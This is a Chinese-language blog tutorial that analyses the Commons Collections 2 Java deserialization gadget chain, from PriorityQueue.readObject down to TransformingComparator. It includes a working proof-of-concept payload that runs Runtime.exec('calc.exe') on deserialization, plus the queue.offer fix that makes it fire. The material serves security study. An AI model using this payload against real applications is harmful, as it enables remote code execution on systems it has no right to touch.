文章目录
- Java-CommonsCollections2利用链分析
Java-CommonsCollections2利用链分析
简单来说CC2就是从 Serializable的readObject()⽅法到 Transformer的transform()⽅法的调⽤链
看一看具体流程,Serializable的readObject()⽅法调用heapify方法
![在这里插入图片描述 [Java反序列化]Java-CommonsCollections2利用链分析_初始化](https://file.cfanz.cn/uploads/png/2022/10/26/18/66116Q80M6.png)
调用siftDown方法
![在这里插入图片描述 [Java反序列化]Java-CommonsCollections2利用链分析_方法调用_02](https://file.cfanz.cn/uploads/png/2022/10/26/18/R9caI91N6Z.png)
调用siftDownUsingComparator方法
![在这里插入图片描述 [Java反序列化]Java-CommonsCollections2利用链分析_初始化_03](https://file.cfanz.cn/uploads/png/2022/10/26/18/8F276A98L7.png)
最后到了TransformingComparator下的compare方法
![在这里插入图片描述 [Java反序列化]Java-CommonsCollections2利用链分析_java_04](https://file.cfanz.cn/uploads/png/2022/10/26/18/eIEMb89961.png)
所以我们只需要把ChainedTransformer对象传入TransformingComparator的构造方法即可,这个链子一点都不难
![在这里插入图片描述 [Java反序列化]Java-CommonsCollections2利用链分析_初始化_05](https://file.cfanz.cn/uploads/png/2022/10/26/18/743S29V9R2.png)
知道了大概流程以后现在具体来扣下细节,首先我们按照这个思路编写payload
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
发现并没有弹出计算器,我们来看看为什么,可以发现此时size为0,我们要保证这个size右移动一位-1大于等于0,其实直接设置为我们的初始化大小即可,这里是2
![在这里插入图片描述 [Java反序列化]Java-CommonsCollections2利用链分析_java_06](https://file.cfanz.cn/uploads/png/2022/10/26/18/Z8Dc37cY67.png)
那什么操作可以让这个size增加呢,可以看见offer函数里面实现了
![在这里插入图片描述 [Java反序列化]Java-CommonsCollections2利用链分析_java_07](https://file.cfanz.cn/uploads/png/2022/10/26/18/a2e1dK8949.png)
因此我们只需要再加上两行代码即可
queue.offer(1);
queue.offer(1);
成功执行计算器
![在这里插入图片描述 [Java反序列化]Java-CommonsCollections2利用链分析_java_08](https://file.cfanz.cn/uploads/png/2022/10/26/18/6De789E01b.png)










